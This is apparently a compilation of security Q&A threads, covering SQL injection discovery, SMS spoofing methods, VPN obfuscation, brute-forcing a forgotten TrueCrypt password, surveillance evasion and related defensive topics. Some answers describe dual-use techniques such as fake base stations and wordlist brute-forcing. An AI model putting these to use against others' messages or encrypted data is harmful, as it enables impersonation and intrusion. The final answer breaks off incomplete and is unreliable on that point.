No, the Browser Exploit Against SSL/TLS isn't typically used against RDP, but you should disable CBC, and enable TLS anyway. With the right tweaks, it seems that the optimal set up is possible.


Is there any way to find all the endpoints for any website for sql injection? I'm wondering, if it's possible to discover all the endpoints for any product which is prone to SQL injection.

I want all the endpoints where I can apply SQL injection on my site.

There are quite a few tools out there that can help find vulnerabilities, such as SQL injection points - none of these will find all of them.

Blackbox testing - This is described by Vipul in his answer and involves testing / fuzzing the interfaces exposed in the application (UIs, Services...).  These are closer to how an attacker might look at the system, but are limited by how much attack surface they can cover.  Examples

Whitebox testing  - These analyze the code (Source Code Analyzers), classes, or binaries to do code or data traces.  These look at all the code at once, but often don't understand attack surface or mitigations out of the box.  Think of these as code review on steroids Examples

There are also tools which combine these two techniques and attempt to look at the code as it's being exercised at runtime.


How does SMS spoofing work practically? I have been researching the web for information on how I can spoof an SMS myself, but I seem to find more on how to detect it, or how to use tools to do it rather on how to do it myself.

I have tried websites and apps, that worked perfectly to spoof SMS but websites seem to be able to detect this, so I wanted to dive in to this and maybe enhance it a little bit.
How does this spoofing work on a software level, how is a spoofed text message constructed, and how are companies able to detect this?

It depends on where the receiving phone is located.

In the USA, you aren't likely to ever see a spoofed SMS work, it's locked down pretty tight.  In other countries though, there is less validation at the carrier level.

Spoofing of any message is usually done by one of 3 ways.

Pretending you are a proxy relaying the message for someone else.  This is commonly how email spoofing is done, as there's commonly no validation, and email passes through multiple separately controlled networks.
Cloning a legitimate users credentials and pretending to be them, so that the service provider believes it's a legitimate message from their user.
You can run a fake base station - Phones will connect to your base station as it has the strongest signal (if it's closer than a legit tower) then you can spoof any sender address you like. There have been many instances of this happening. For example, in the People's Republic of China where they recently locked up 1600 people for running fake base stations involved in SMS spamming.  This only affects the end user the base station is close to, you can't use it to send an SMS to someone across the country.


Compromised submarine cables and the consequences to internet? I recently read an article that Google wants to build a submarine cable connecting to my country supposedly to increase overall speed and while I hope my government will never allow this kind of thing it made me curious about the actual security of submarine cables against man-in-the-middle attacks.

I tried to search that online and only found the following links:

http://cryptome.info/cable-cuts.htm
http://www.theregister.co.uk/2013/09/06/nsa_cryptobreaking_bullrun_analysis/

I'm familiar with the concepts of encryption and I know that whoever does that will be able to intercept all HTTP traffic but I also know HTTPS is not unbreakable; won't they be able to see all the handshakes happening between the parties to at least do network analysis like I'm connecting to my VPN and they see my IP doing a handshake with the VPN IP and know that now I'm connecting to a VPN and be able to correlate my traffic when it leaves the VPN and much more?

So how bad would it be to the Internet as a whole if there's an active man in the middle tapping submarine cables? I see that submarine cables are obviously interesting for many reasons to many countries around the world and they pass international water space with no rules.

https:// is not unbreakable

The conditions required to break HTTPS cannot be achieved by passively observing traffic over an undersea cable.

There's several effective attacks against SSL/TLS but pretty much all of them require the attacker to actively interfere with the transmission. To perform a MITM attack against actual encrypted traffic the attacker would also need access to a CA certificate (which many governments do), although there are other (more noticeable) attacks such as SSL stripping.

Even then, if certificates are pinned to particular trusted signing CA (as is the case in some mobile apps and I believe also Chrome when accessing Google services) then they won't be able to perform a MITM attack even with a compromised CA.

The NSA was successful in tapping Google's fibre network because they weren't using encryption within their own network between data centres.

TLDR; HTTPS keeps you safe from passive mass surveillance. Active attacks might still work but there will almost certainly be some evidence of this happening if you look hard enough.

  the vpn ip and know that know i'm connecting to an vpn and be able to
  correlate my traffic when it leaves the vpn and much more?

An IP is not typically considered private information. Without knowing your IP your ISP won't be able to route traffic from the VPN to you and therefore they will unavoidably know that you're communicating with a host that might turn out to be a VPN gateway.

Having said that, who you're communicating with after the VPN and what you're actually communicating is a secret from your ISP and this is usually the information people are trying to protect when they use a VPN.

There are solutions to this (such as TOR) where your IP is known, but it is not known if that traffic actually came from you or was just forwarded by you.

TLDR; An IP is not typically secret information, but a VPN will still protect what you're communicating and with whom.


What can a company do against insiders going rogue and negatively affecting essential infrastructure? In 2013, a Citibank employee had a bad performance review that ticked him off. The results were devastating:

  Specifically, at approximately 6:03 p.m. that evening, Brown knowingly transmitted a code and command to 10 core Citibank Global Control Center routers, and by transmitting that code, erased the running configuration files in nine of the routers, resulting in a loss of connectivity to approximately 90 percent of all Citibank networks across North America.

Now, there is a question about securing a network against attacks from the inside, but that question explicitly excludes insiders going rogue. There is also a question about protecting a database against insiders, but that's concerning high-tier problems.

I also read What is the procedure to follow against a security breach?, but most answers on there act based on the insider being an employee that got fired. I'm asking about someone who hasn't been fired yet. They might have had a poor performance review, but haven't yet been terminated yet. They might just be unhappy about something their partner did, or they might have gotten upset about something.

The problem I'm describing here is a large company where a user who is unhappy about their job snaps on a certain day and issues system-breaking commands tha they have full privileges to issue. Things like wiping machines, physically damaging essential infrastructure,... purely technical interference, nothing like leaking emails or secrets. The aim is just to do as much damage as possible to the infrastructure to go out with a bang.

The article gives a few cursory mentions of things to do, but nothing really concrete. What things can be done to prevent sudden rogue insiders from negatively impacting essential infrastructure using techniques they're privileged to do?

What things can be done to prevent sudden rogue insiders from
  negatively impacting essential infrastructure using techniques they're
  privileged to do?

In practice, very little.  But to explain why, let me talk about what you can do.

The issue here is that the user is "privileged" - they have been granted the power legitimately.

There are some things that can be done to limit the power given to legitimate users, even privileged administrators:

Control over available commands using something like sudo or PowerBroker.
Dual control (the "two-man rule" @paj28 describes
Workflow controls (which are often a form of dual control)

Now, these controls are used far less than they could be.  Why?  Because privileged users are trusted by definition. So I say very little not because there are no controls, but because the cost-benefit ratio of such controls when applied to trusted personnel is not enough to justify it.

Also note that the attack vector here was "in the plumbing" - if Citibank has dual controls, they're probably focused on things like funds transfers, whereas this attack came in at the knees and just took the underlying network down.  These vital-but-quiet systems often have smaller circles of privileged users and less excessive controls.

The real failure here was not that there were not technical controls, but that the personnel controls failed miserably.  It is standard practice to revoke access of privileged employees before they are terminated.  Whoever decided that no such precaution was necessary when introducing conflict with a privileged employee used poor judgement.

(The company also employed punitive controls - the attacker is now sentenced to almost 2 years in prison and must pay nearly $80k.  As the article points out, those things don't fix any of this.)


Why don't secure tunnels (such as VPN) mask themselves as an HTTPS stream? Wouldn't this make it impossible to block them? Countries such as China are known for blocking VPN connections, which causes a lot frustration for residents and temporary visitors alike. However China doesn't (yet) apply a white-list mode to outgoing traffic, so it's possible to connect to any regular website that is not on the ban list.

So why doesn't VPN software simply mask itself as HTTPS packets? This would force entities like China to either block all HTTPS traffic or employ extremely unreliable pattern analysis on all HTTPS traffic. Traffic could even be masked as HTTP packets, with the secure data being encoded into fake image or video files, which would make it even harder to block.

Actually we do have these kind of protocols and they work pretty well. One example is called "shadowsocks". The spec can be found here: https://shadowsocks.org/en/spec/protocol.html. Its main goal is simply obfuscate TCP/UDP packets into random traffic by very simple encryption, so that the GFW cannot recognize any pattern but some random bytes. It's very flexible with many "ciphersuites" to choose from.

A variant of shadowsocks is called shadowsocks-rss, which allows more obfuscation mechanism, including disguises traffic as TLS. Shadowsocks and shadowsocks-rss are the very few protocols can be used efficiently in China to bypass GFW. Moreover, these protocols and their implementations are open source on Github.


Is NTFS encrypted by default? Can an NTFS volume be read by forensics without having to log into the windows user or provide any passwords? aka can data be read straight from the sectors in clear text?

No, NTFS is not encrypted by default.

  can data be read straight from the sectors in clear text?

Yes, by default NTFS files are unencrypted.  Since NTFS 3.0, EFS (Encrypting File System) is a feature of NTFS, but

  By default, no files are encrypted, but encryption can be enabled by users on a per-file, per-directory, or per-drive basis.


From a trust perspective, is renewing a CA certificate the same as trusting a sub-CA? I'm trying to understand the validation logic that would occur in the following hypothetical scenario

An unpatched XP user who trusts a list of root CAs.  Those CAs in particular have been renewed (using a different public key) but have only been updated in newer versions of Windows
A Windows 8.1 client who has the newer Root Certificate described above, and not the "old" certificate.
Two different websites: one with a HTTPS certificate issued from the old CA, one from the renewed CA.

Question

How does trust flow when the XP user accesses a web certificate issued by the new CA?
How does trust flow when the Win 8.1 user accesses a web certificate issued by the old CA?
What if I, as an end user, no longer trust the integrity of certificates after the key was renewed.  How can I, as an XP user, cause a validation exception?

I'm assuming that once a CA is renewed, the former CA isn't revoked per-se, but am unsure if it will appear in the CRL as "superseded" or something along those lines.

This question isn't supposed to be specific to Windows but rather a general understanding on how a PKI is supposed to work.

If things work as I'm understanding, a renewed CA with a different key should be similar in some respects to a sub CA.

Additional Related Scenario:

Since this question is all about how the chain of trust is followed & validated, I'm curious if there is a way for a root certificate to become a subCA of a new "meta-root", (renewing a Root CA with a new Parent) and how that would work.

Assuming that client software will constrain a certificate's usage to the EKU in the chain, this could be a security issue if

the root CA was constrained to issue only SMIME certificates, through a defined EKU in the self-signed cert.
The root CA is renewed, but is then signed by a "meta root" CA
Assume that the "meta root" contains the EKU for SMIME AND  server/client authentication

If the above was possible, I wonder if a user who trusts the rootCA (not Meta Root) could be affected by the meta-root's issuance of HTTPS certificates; thereby allowing the inadvertent spoofing of their HTTPS connection

In a sense, I'm trying to figure out if there is a need for the opposite of an "End Entity" attribute, e.g. "Root Entity" that can't be superseded, or if that is unnecessary

The question is... a bit complex. The critical issues are existence and availability of intermediate CA certificates. Consider the following points:

Root CA are not "revoked". Revocation is a mechanism by which the issuer for a given certificate specifies, directly or indirectly, that one of its issued certificates is not to be trusted and must not be used for any purpose. Root CA have no issuer (they are "self-issued"); therefore, there is no entity qualified to revoke a root CA. As a result, no CRL or OCSP response will ever talk about a root CA certificate.

When a root CA is conceptually "renewed", the old CA just floats around. Trust in root CA is always direct: a client either trusts a root CA, or does not trust a root CA. As such, it is up to each client to decide whether to include the new root and/or to discard the old root. An important consequence is that there is no way to make a machine aware of a renewal. From the client's point of view, there is no such thing as a "renewal"; there are two distinct root certificates.
"Renewal" is not a well-defined concept. There are variations. Basically the new root CA may or may not use the same key, and may or may not use the same name. In fact, when the CA changes its name (its subjectDN), the notion that the new CA is a "renewal" of the previous one is a business concept; technically, this is just "another root CA".

There is no rule which mandates a change of key upon renewal. Decision to change the key should theoretically be driven by considerations on the safety of the private key storage, within the key lifecycle management. In short, you need to change the key when the previous one is too small with regards to current cryptanalytic results. If the root key is, say, RSA-2048, stored in a good HSM, then there should be no need to change the key. (This begs the question then: Why you would like to "renew" the CA in the first place? Usually, this is because the old root CA was tagged with an expiry date by someone who was not completely aware of what he was doing, and that date was not far enough in the future.)
When a client wants to validate the certificate of some SSL server, the client tries to build a valid certificate chain which goes from a root CA trusted by the client (the "trust anchor") down to the EE certificate (the "end-entity", i.e. the server's certificate). In between are the intermediate CA certificates. Rules for what constitutes a valid chain are mindbogglingly complex but, for the purposes of the discussion here, they can be summarized as follows:

The signature on each certificate can be verified with the public key stored in the previous certificate.
The issuerDN of each certificate is equal to the subjectDN of the previous certificate.
The current date is between the notBefore and the notAfter dates of each certificate.
Each certificate (except possibly the EE) contains a Basic Constraints extension with the cA flag set to TRUE.

As long as the client can come up with such a chain, the client will be happy.

A consequence is that if you renew a root CA by reusing the same name and the same key (i.e. you just changed the validity dates), then the old and new root CA are interchangeable, as long as neither has expired. That is, every chain which begins with the old CA will be equally valid if you replace the old CA with the new CA. In that case, the transition is smooth: both your old "XP" user, and the new "Windows 8" client will be able to validate the same certificates, from both servers.

Now what if you changed the key and/or the name ?

Then trouble begins. For better illustration, let me switch to Microsoft terminology:

We are still at a time when both the old and new root are still valid (when the old root expires, it virtually disappears, so the "XP" user ceases to be able to validate anything).
The "old root" is called root0.
The "new root" is called root1.
As per Microsoft procedures, the renewal included a cross-certification. This kind of thing was initially meant for two distinct PKI to "merge" somehow, but it is also used for renewals. Namely, two extra intermediate CA certificates have been issued:

root0-1 contains the name and key of root0, but is signed by root1
root1-0 contains the name and key of root1, but is signed by root0

Note that whether a CA is "intermediate" or "root" is a property of the certificate, not of the actual CA. Here, both root CA have two certificates, one being "root" and the other "intermediate".
The first server's certificate (signed by the old root) is serverOld.
The second server's certificate (signed by the new root) is serverNew.

From the point of view of the "XP" user, both serverOld and serverNew can be validated, with the two following paths:

root0 -> serverOld
root0 -> root1-0 -> serverNew

while the "Windows 8" user can also validate the certificates with:

root1 -> root0-1 -> serverOld
root1 -> serverNew

So everything is fine ? Not so fast ! What I explain above is that the existence of the intermediate CA certificates root0-1 and root1-0 potentially allows for a smooth transition. But this works only if the said certificates are indeed made available in some way to the client.

An SSL client will build chains based on certificates found in three sources:

What the client already has. For instance, if you inspect the "certificate stores" in a Windows machine, you will see a store called "Intermediate Certification Authorities" which is a repository for intermediate CA certificates. These are not intrinsically trusted but are available for certificate path building.
What the server sent. As per the TLS specification, an SSL/TLS server does not send its certificate alone, but as part of a pre-built chain. A client is entitled to simply try that exact chain and nothing else; but, in practice, modern clients (Web browsers) will do some path building of their own if the chain from the server fails to validate. Importantly, the certificates from the pre-built chain sent by the server can be reused by the client to build other chains.
What the client can download by itself. Any certificate C may contain an Authority Information Access extension with URL pointing to places where "the" certificate of the CA which issued C can be obtained.

So if you want the "XP" client to use the "root0 -> root1-0 -> serverNew" chain, without being able to "push" the root1-0 certificate into the client machine through some out-of-band administrative operation, you have two options:

You may configure the server to send the "root1-0 -> serverNew" chain, instead of just "serverNew". That chain can be validated by the XP client, while the Windows 8 client should be able to notice that the "serverNew" certificate can be linked directly under the "root1" certificate.

Such server configuration cannot necessarily be enforced. First, SSL servers might be under control of people other than the PKI itself. Second, some SSL software cannot be (easily, or at all) configured to send a specific chain. For instance, IIS is configured with just the EE certificate, and will send what is from its point of view a valid chain; if the IIS machine trusts root1, it will not send a chain containing root1-0.
You could arrange for "serverNew" to contain an AIA extension which points at the root1-0 certificate. The XP client will use that URL to dynamically obtain the root1-0 certificate (and hopefully cache it locally for future usage). The Windows 8 client will be able to verify the "serverNew" certificate with root1 directly and will just ignore the extension.

The second solution must be applied on the new CA itself, so that when it issues certificates (e.g. serverNew), it includes an AIA extension pointing to root1-0. This is feasible; however, the dual case is not. The "dual case" is the validation of "serverOld" by the Windows 8 machine: with the cross-certificates, the Windows 8 machine must build "root1 -> root0-1 -> serverOld". However, "serverOld" was issued by the old root before the new root existed, and thus cannot contain an AIA pointing to root0-1, since that certificate did not exist at that time. A corrective action would be, when the new machine is configured with the new root, to also install the root0-1 certificate in its "intermediate CA" store.

Bottom-line: cross-certification does not work well. It is theoretically good, but it fails in practice because of the lack of availability of the cross-intermediate CA (these magic certificates exist, but there is no way to make all clients aware of their existence). In closed environments, cross-certification works: for instance, from an Active Directory server, you can forcibly push arbitrary intermediate CA certificates into all domain machines. You cannot do that in the Internet at large...

In practice, renewal strategies (for when key and/or name is changed(*)) overlap. The "new root" is simply handled as "another root". This is done in several phases:

The new root is created. The new root CA certificate is installed in all machines. EE certificates are still issued with the old root.
After a few months or years, the new root is put to use: EE certificates are now issued by the new root. This assumes that the new root has been distributed to all relevant clients during the first phase.
When all EE certificates which were issued by the old root are expired, we just leave the old root alone, to die silently (ideally, the old root key is forcibly destroyed in a formal key ceremony).

But, really, root CA "renewals" are best avoided. In that respect, the Year 2038 will be a problem, because most root CAs have set their expiry dates in 2037 or earlier to avoid the potential issue (which is probably as exaggerated as the famous Y2K). Consequently, there will be a lot of renewals 20 years from now.

Intermediate CA renewals are easier, because clients download intermediate CA automatically by following AIA extensions (contrary to root CA). This can be explained in the following conceptual sense: validation is context-free. Clients don't trust or mistrust certificates based on history, but only on what certificate chains they can build right now. All certificates are supposed to be downloaded automatically or found in shared repositories or sent by parties to each other; that is, all certificates except the "trust anchors", which are managed manually. So clients have no notion of renewal. Intermediate CA certificates, and EE certificates, can be renewed transparently since they are meant to be downloaded anew every time (though they can be cached locally). But for root CA, local administrative action is required.

(*) It does not make much sense to keep the same key if you change the name. The opposite does make sense (same name, because that's the same formal CA entity, but distinct key) but, in practice, is best avoided: when Windows uses the wrong CA, instead of claiming "this path does not work because I don't have the right CA", it instead says "this path does not work because the certificate has been corrupted and you are under attack" (I am paraphrasing here, but the message is definitely and unduly scary).


Why would a website serve different versions of a file over HTTP and HTTPS? Here is a link given on curl's official website:

(prefix omitted) bintray.com/artifact/download/vszakats/generic/curl-7.46.0-win64-mingw.7z

When I downloaded it with prefixes http:// and https:// I got two different files.

My question is why is this site serving two different files -- one over HTTP and one over HTTPS? The SHA256 hashes do not match.

Here is a diff of the final URLs after redirect. The URL on the left is the one that HTTP redirects to and the URL on the right is the one HTTPS redirects to:

Update:

The two files were not downloaded concurrently, but they had the same version number, so I assumed they should be the same. This is not the case. The author told me some revisions do not get a new version number. The scan results for the files served from the site on different dates (12/05/15 was the scan date for the download over HTTP and 12/28/15 was the scan date for the download over HTTPS) led to confusion because the version number did not change but the SHA256 hash did.

The simple answer is: because it wants to! The web server can serve whatever it likes, either by configuration or coincidence.

Right now, I get the same 75916c7b file over both HTTP and HTTPS and cannot confirm your theory that the web server is serving different content for HTTPS versus HTTP. However, if you managed to access the site near the time the file was updated, it could very well be that different servers were serving the different protocols and the file update had not yet propagated to the server that served you the old file.

Remember that one URL can be served by any number of servers - the fact that you get one file from a URL does not exclude there being 20 copies of this file on 20 servers/caches, some of which may be out of date.

This a certainty in this case, as the website appears to be using Cloudfront which is a Content Delivery Network - a piece of infrastructure explicitly designed for caching files on many distributed servers for delivery at global scale.


Is there a way to make changes to a virtual machine, test it out, and automatically make same changes to normal machine? Is there a way to install programs and make changes to a virtual machine and if they work ok have them applied to the "actual" machine? For example in this question when fiasco_averted says "...only let the person do his work in a VM, then mirror the settings on your own on your machine." is there a way to do this using virtual box?

I'm using Windows 7. The reason I ask is I'm thinking about doing a fresh install and want to get everything set up right.

Typically you script the making of changes (how you do this depends on what you're changing) run the script against the VM, test, and if happy run the same script against the real machine.


Firewall rules by URL is there a solution to create FW rules by URL instead of IP for inbound traffic? For example a.example.com and b.example.com are the same IP on the DNS, but they are different sites, is there a solution to open port 22 for example just to a.example.com?

If so, what is the name of the solution?

Thanks.

This depends on your firewall solution. What you are talking about sounds like Layer 7 Content Filtering. This is not as common as Layer 3 IP filtering but is supported on some more advanced firewalls.

To address your question of being able to differentiate between connections to the same IP but different hostnames:

This is very easy to do with websites as the hostname is transmitted in the HTTP header and can be easily identified by the firewall. If you want to do this with SSL/TLS you will get a certificate error unless the proper CA is installed on the client, this is because the firewall needs to act as a Man-In-The-Middle to decrypt, inspect, and re-encrypt the data in order to see the hostname.

If you were wanting this functionality for other services, such as SSH as you suggested, this is much more complex. There are no headers or any other indications of a hostname in many other protocols such as SSH. Some advanced firewalls may offer enough configuration flexibility to help address this, but it wouldn't be a fool proof solution. This would likely be done on the DNS level and either serve a bad IP for the banned hostname, or block the IP after a DNS request was made for banned hostname.

Edit: After re-reading your question, I am not sure why I assumed you were talking about outbound filtering. If you are talking about inbound filtering, then the last bit about DNS doesn't really apply.


Tutorial for learning Threat Modeling at enterprise level I am bit new to the field of Information Security. I am aware about OWASP Top 10, SANS Top 25 etc. standards. Recently my job role requires me to learn Threat Modeling. Does any one hold pointer to some good tutorial for learning Threat Modeling and tools used for it at Enterprise level ?

Check this Microsoft Threat Modelling Tool 2016 with study guide.

http://aka.ms/tmt2016

  Microsoft Threat Modeling Tool 2016 is a tool that helps in finding
  threats in the design phase of software projects. It's available as a
  free download from the Microsoft Download Center. This latest release
  simplifies working with threats and provides a new editor for defining
  your own threats. Microsoft Threat Modeling Tool 2016 has several
  improvements such as New Threat Grid, Template Editor & Migrating
  Existing Data Flow Diagrams.


VeraCrypt - Windows boots Automated Repair on UEFI/GPT OK. So I used VeraCrypt to encrypt the system partition and now Windows boots its automated repair only. After the repair in what I think is Windows Recovery Environment I can choose to boot off USB and THERE I can choose to boot the VeraCrypt loader.

I used BOOTICE (latest version) to modify the UEFI boot entries to boot the VeraCrypt loader in the first place by choosing "Active", "Boot this entry next time" and by placing VeraCrypt in the first position on the list using the "Up" button. When I restart the PC, UEFI boots the VeraCrypt Loader as it should but when I switch off the PC and on again, UEFI boots to the Windows Boot Manager which loads the Windows Automated Repair again.
This description is probably somewhat inaccurate because I don't exactly know how UEFI booting works [recommend me a good read ;)]. Obviously in my UEFI (in BIOS) I can't find the VeraCrypt boot option, there's only the Windows Boot Manager and EFI shell to choose from. How do I insert the VeraCrypt loader there? I have secure boot disabled.

I also tried to use Windows BCDEdit cmdlet but it is a no go (it does not see the VeraCrypt loader). Neither is Visual BCD Editor. My system is MSI H81-P33 & i5-4690K with the latest BIOS. Only BOOTICE somehow works.

Maybe the workaround would be to just modify the Windows Boot Manager to boot the VeraCrypt loader instead of the Windows loader? Is it a possible solution? How do I do that?

BOOTICE unmodified boot entries screenshot:

OK, I came up with a solution and it works even after I switch off the computer. In BOOTICE I modified the Windows Boot Manager to load "\EFI\VERACRYPT\DCSBOOT.EFI" (the VeraCrypt loader) instead of the original Windows loader (\EFI\MICROSOFT\BOOT\BOOTMGFW.EFI) and saved it. I only modified "Media file:" text field in BOOTICE. When I reopened BOOTICE to see if the change sticked I noticed that there are now 2 separate Windows Boot Manager entries: the original (which I presume Windows automatically recreated after I changed it) and the one I changed with the VeraCrypt loader path.

My UEFI (BIOS) now sees 2 separate Windows Boot Manager entries (which are named the same, no need to change that I guess). I hope it doesn't compromise my security and Windows performance in any way. And I hope any future Windows Updates won't mess with my solution.

I realize this is a "dirty" solution, so it would be nice if someone made up with sth better.


Faster methods for decrypting a TrueCrypt disk, esp. knowing the algorithms used I encrypted (with TrueCrypt) all my hard drives and had the passwords stored in an encrypted file on my USB disk. The passwords are all (except one) 50 character randomly-generated ciphers, there's no way I could remember them. I decided that I wanted to securely wipe my USB disk real fast so I put the passwords file on my hard drive for a moment, ran TrueCrypt on the USB drive to perform a secure wipe, then re-formatted it with Windows to be used as a non-encrypted drive. As I was about to move the passwords file back to the drive, there was a freak power outage (at 12:30am on a calm, clear night)... Suffice it to say, my computer shut off, my passwords file is still on the encrypted disks, and now all 4 of my disks I've used for the past 10 years remain inaccessible to me.

I'm guessing the answer is no, but is there any reasonable way I could decrypt my disk, esp. knowing which algorithms and such which were used? Also, one of the disks has a password that is basically a sentence with a few extra random characters. I remember about 95% of this sentence. Is there a way I could brute force it without having to click Auto-Mount, Enter the password, wait for it, click ok, and repeat with 1 character different?

In good crypto systems (like TrueCrypt), knowing the encryption algorithm should not give you any advantage in cracking the encryption, and indeed it doesn't. For all of your randomly-generated passwords, it's safe to say that the encrypted disks will remain encrypted forever; you'll never be able to brute-force the key/password.

As for your other password (the one made out of a sentence), you can generate a wordlist using any programming language with which you're familiar, and then feed it to TrueCrack which will automate the process for you.


Is revealing a PC account user name bad? Typical computers with modern operating systems require log-on accounts with a user name and a password. Is it dangerous to reveal the user name of the log-on account to the public?

My research:
I have found these articles on Information Security Stack Exchange:

Should usernames be kept secret?
How bad is exposing valid user names?
Forgot password and revealing whether account exists

Googling typically gets me back to the first two of these articles.
These answers show that on a website it may be bad to reveal the username for the website account, because it gives malicious users needed information to try to crack an account. The "hacking" is rendered easier because the bad guy already knows where on the internet to try the passwords to crack the website account.

This question pertains to a computer, not a website. The computer may be "hidden" behind a NAT router and theoretically (hopefully?) not directly accessible from the internet. Even if the user has port-forwarded remote-in software, one would have to know the internet address of the computer or the router, of which there's some 4 billion in the IPv4 space, and astronomically more in IPv6. Knowing where to start poking seems a lot harder.

The background:
I help on the Virtualbox forums (forums.virtualbox.org). When folks ask for help with their Virtualbox guests, we usually need a log file from the run of the VB guest where the problem was noticed. These log files contain paths to the files on the host PC that are used by the guest, and these files default to being stored in the user's home path:

Windows: C:\Users{username}....
Linux: /home/{username}/...

The logs therefore reveal the account user name to anyone who may download the log file. And everyone including non-authenticated visitors, can download log files. Some users obfuscate these path names because they feel that having their user names out on the web is bad.

Are they right? Is revealing the PC account user name bad?

I guess no. Why? Because if you secure your environment in such way that it can eliminate bruteforce attacks/dictionary attacks or any other attack that is trying to force the login, then exposing usernames won't do anything to it, thereafter you can limit the attempts in your LSP. If you look more into the psych of a possible attack, they can generate strings that are based on your username for example username is am123, they can put ham123 or aM93 in their dict list).

Should i keep my username of roastedbeans.ru secret? Yeah you should because it's not your environment, you do not manage it. Therefore you do not know if it is secure at all.


Knowing Hash Algorithm from Hashed String I found an application which stored its password in database as:

A69F00623BE6B8

It's a 14-character string length. How do I know this password algorithm? What's the keyword to describe this 14-character string length hashed value for Google?

7 bytes/56 bit hash algorithm?

There is a tool for identifying hashes if they are identifiable:
http://code.google.com/p/hash-identifier/


Government/ISP tracking of internet activity trivial to evade? The recently announced Investigatory Powers Bill in the United Kingdom will mean that ISPs must store the internet activity of everyone for one year.

Anyone who wishes to evade such tracking can use a variety of methods such as using a secure proxy or VPN. These methods use encryption on the client device and as such all the ISP knows is that you connected to the secure proxy or VPN, but nothing else. Assuming one chooses a secure proxy or VPN out of reach of the government's jurisdiction then one's activity is completely opaque. Such services are now widely available around the world to the average consumer.

Given that the average consumer can easily avoid tracking, how does the law enable realistic intelligence gathering of valuable targets? One can assume that a valuable target (such as a terrorist or criminal) has at least as much knowledge as the average consumer.

Your question deals about valuable targets which means that the services already know he is a terrorist/criminal. Then, I won't speak about « finding » them.

Using a VPN does not necessarily protect the target. Indeed there are 3 weak points :

The VPN does not change DNS thus the target has its trafic encrypted but the ISP can still see every domains he is visiting. This is called dns leak.
The VPN changes DNS but (and i'v seen that) use some non-privacy friendly one like google for example. If you have ever heard about PRISM then you'll understand the change is useless.
The VPN provider will/has to handle info on the target. Either it is forced by law or it accepts demand from those services. Keep in mind that the provider will have your real ID, payment info etc.. and can see your trafic. (Assuming you're not using a token based VPN) You should not believe any service that pretend to be "NSA Proof" or that don't keep any logs. There is always trust somewhere for the average consumer. (--> 'Hide My Ass' and LulzSec).

Proxies will be useless. At least for the average consumer. Keep in mind that those services are tapping fibre-optic cables. The target could use Tor but this is link with my next point.

Setting up a VPN/proxy/Tor on your computer does not make you untraceable. The target will have to follow strict rules and not make any mistakes which means never do anything that could help to correlate his real ID and the one browsing through his anonymizing solution. I won't even be able to list all the possible mistakes that people did: open pdf documents while connected, browse with Tor while your usual browser is still open, set up a VPN after Tor or a non-trusty one before Tor, browse Tor at home or never change the location… Well there are lot of points when the target is “playing with his life” against persistent threat which are able to manage 'attack' against Tor network.

You can have a look at some documents Ed Snowden leaked or even go on wikipedia. They should be able to decrypt a lot of VPN traffic. It is not on real time but is useful in a lot of cases. Tempora is definitely something you should dig in.

You ask only about internet but there are still a lot of communications done via mobile phones. Both NSA and GCHQ have been said to monitor those. Does the target is encrypting his phone calls and SMS? If not an IMSI-catcher will be useful.

Last point is about compromising devices. Phones should be the most breakable devices. Again an old article.
The point in computer security is that no system is 100% secure. It is until we find the breach. And you can be sure those services have guys working on that every day of the year. No matter what anonymizing solution you are using, if your device is compromised it's over. A simple keylogger would give those services every information they want.

You should also get informed about CISA. A really nice bill coming from US.

For a conclusion I would say that those services will most likely use mistakes and misconfigurations from users to spy on them while gathering maximum data from providers/companies in a legal or illegal way. Using known or unknown security breaches will help them to compromise devices.

To end, I would say that your question silently implies that those "spying laws" emerging in a various range of countries around the world are effectively set up to counter terrorism or criminal activities. Well, one could see that these are just a way of setting a global surveillance on people that effectively don't know how to protect themselves. We already know that mass surveillance is not necessarily helpful in the fight against terrorism.


How to prevent refreshing a stolen access token The scenario is: you have refresh token that is valid for a longer period of time and an access token that is valid for a shorter period of time.

The setup: There is a client, application server and authentication server.

The client stores the access token.
The application server stores the refresh token.
The authentication server hands out the refresh + access token.

One of the advantages is that a stolen access token can only be used for the time it is valid.

Say a hacker steals the access token that is valid for 30 minutes. When the hacker makes a request with the valid but expired stolen access token after 30 minutes, the application server refreshes it with the refresh token, thus the hacker gaining a new valid and not expired access token.

How can this be prevented?

To get a new access token, the client needs to send the refresh token to the server. So if the attacker only steals the access token, she will not be able to refresh. To do that, she needs to steal the refresh token as well. Now, if the attacker is in a position to steal the access token she can probably snatch the refresh token as well while she's at it. So maybe this doesn't make a lot of difference for the token theft scenario, but I still wanted to point it out.

Dividing it up into one access and one refresh token does not protect against theft. That is not what it is designed for. The purpose of the division is to make it possible for the server to revoke tokens without having to hit the database on each single request.

So how do you protect against theft? Same way you would do with any client side secret, be it a session ID or what not. Set a limited lifetime (of the refresh token, in this case), use good TLS, and perhaps include some geolocation information in the token so you can block requests that suddenly comes from the other side of the planet.


Is my router hacked? It is interrupting most pages from loading on the devices in my network.
Here are the steps so far I have taken:

Ran ipconfig/flushdns command in cmd.
Removed irrelevant IP addresses in hosts file.

Important thing is that my router's DNS address is always changed to some random site.I cleared it around 5-6 times. Still I think it will be changed. Scanned router with ESET Smart Security 10. Also scanned systems with Kaspersky and ESET. What I found strange is that the URL still remains original even after appearence of that error. I reinstalled Google Chrome. But, it is still appearing.

My router is a DLINK DIR 600 M.

You are infected with malware. Try using some kind of malware removal software. If it doesn't work, save your data and perform a clean O.S. install.

You can use a lot of software, but as a recommendation:

Malwarebytes
SuperAntiSpyware

Malwarebytes has its free version which has no real time protection to avoid being infected, but free version is able to remove malware once infected like in your case. You can activate a 30 day premium trial if you want real time protection.

Good luck.


Hide logging server from DMZ I have a server on my DMZ whichs relays syslog and OcsInventory messages to a server on a vlan for logging servers.
In order to allow the packets to go through I must allow port 80 (OcsInventory) and port 514 udp from this DMZ server to the machine on the vlan.
If the machine on the DMZ were ever compromised an attacker would have full access to port 80 and 514 UDP.
Is there any way to only allow these connections when Syslog/OcsInventory need to send a message?
Port knocking maybe?
Better yet, is there a way to only allow certain processes on my DMZ server to access the remote ports?

Any suggestions are very much appreciated.

Q:Is there a way to only allow certain processes on my DMZ server to access the remote ports?

A: You need a UTM box or Next Generation Firewall to do that. These boxes can work with application layer of each connection and distinguish between different applications so you can allow only certain applications traffic to pass. A good example of a free box is SOPHOS UTM that you can test.


MySQL Database Password protection I am developing an industry-level web server that requires that all passwords be encrypted in some way.

The middle-ware for the server is Java-based. My only restriction is that I can't use API's like bCrypt for this. Can anyone suggest a way to do this?

There are currently three accepted password hashing algorithms (note the difference between encryption and hashing!):

pbkdf2
bcrypt
